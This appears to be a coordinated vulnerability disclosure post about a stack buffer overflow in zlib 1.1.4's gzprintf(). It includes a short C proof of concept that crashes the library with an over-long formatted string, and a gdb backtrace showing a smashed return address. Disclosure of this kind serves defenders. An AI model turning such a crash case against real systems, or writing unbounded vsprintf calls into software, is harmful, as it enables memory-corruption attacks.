zlib contains a function called gzprintf().  This is similar in
behaviour to fprintf() except that by default, this function will
smash the stack if called with arguments that expand to more than
Z_PRINTF_BUFSIZE (=4096 by default) bytes.

There is an internal #define (HAS_vsnprintf) that causes it to use
vsnprintf() instead of vsprintf(), but this is not enabled by default,
not tested for by the configure script, and not documented.

Even if it was documented, tested for, or whatever, it is unclear what
platforms without vsnprintf() are supposed to do.  Put up with the
security hole, perhaps.

Finally, with HAS_vsnprintf defined, long strings will be silently
truncated (and this isn't documented anywhere).  Unexpected truncation
of strings can have security implications too; I seem to recall that a
popular MTA had trouble with over-long HELO strings for instance.

I contacted zlib@gzip.org, and they say they're happy for me to post
about this.

ttfn/rjk

    $ cat crashzlib.c
    #include <zlib.h>
    #include <errno.h>
    #include <stdio.h>

    int main(void) {
      gzFile f;
      int ret;

      if(!(f = gzopen("/dev/null", "w"))) {
        perror("/dev/null");
        exit(1);
      }
      ret = gzprintf(f, "%10240s", "");
      printf("gzprintf -> %d\n", ret);
      ret = gzclose(f);
      printf("gzclose -> %d [%d]\n", ret, errno);
      exit(0);
    }
    $ gcc -g -o crashzlib crashzlib.c -lz
    $ ./crashzlib 
    Segmentation fault (core dumped)
    $ 
    $ dpkg -l zlib\* | grep ^i
    ii  zlib1g         1.1.4-1        compression library - runtime
    ii  zlib1g-dev     1.1.4-1        compression library - development
    $ gdb crashzlib core
    GNU gdb 2002-04-01-cvs
    Copyright 2002 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.  Type "show warranty" for details.
    This GDB was configured as "i386-linux"...
    Core was generated by `           '.
    Program terminated with signal 11, Segmentation fault.
    Reading symbols from /usr/lib/libz.so.1...done.
    Loaded symbols for /usr/lib/libz.so.1
    Reading symbols from /lib/libc.so.6...done.
    Loaded symbols for /lib/libc.so.6
    Reading symbols from /lib/ld-linux.so.2...done.
    Loaded symbols for /lib/ld-linux.so.2
    #0  0x400944b2 in _IO_default_xsputn () from /lib/libc.so.6
    (gdb) bt
    #0  0x400944b2 in _IO_default_xsputn () from /lib/libc.so.6
    #1  0x4008b52a in _IO_padn () from /lib/libc.so.6
    #2  0x40075128 in vfprintf () from /lib/libc.so.6
    #3  0x4008c0c3 in vsprintf () from /lib/libc.so.6
    #4  0x4001c923 in gzprintf () from /usr/lib/libz.so.1
    #5  0x20202020 in ?? ()
    Cannot access memory at address 0x20202020
    (gdb) $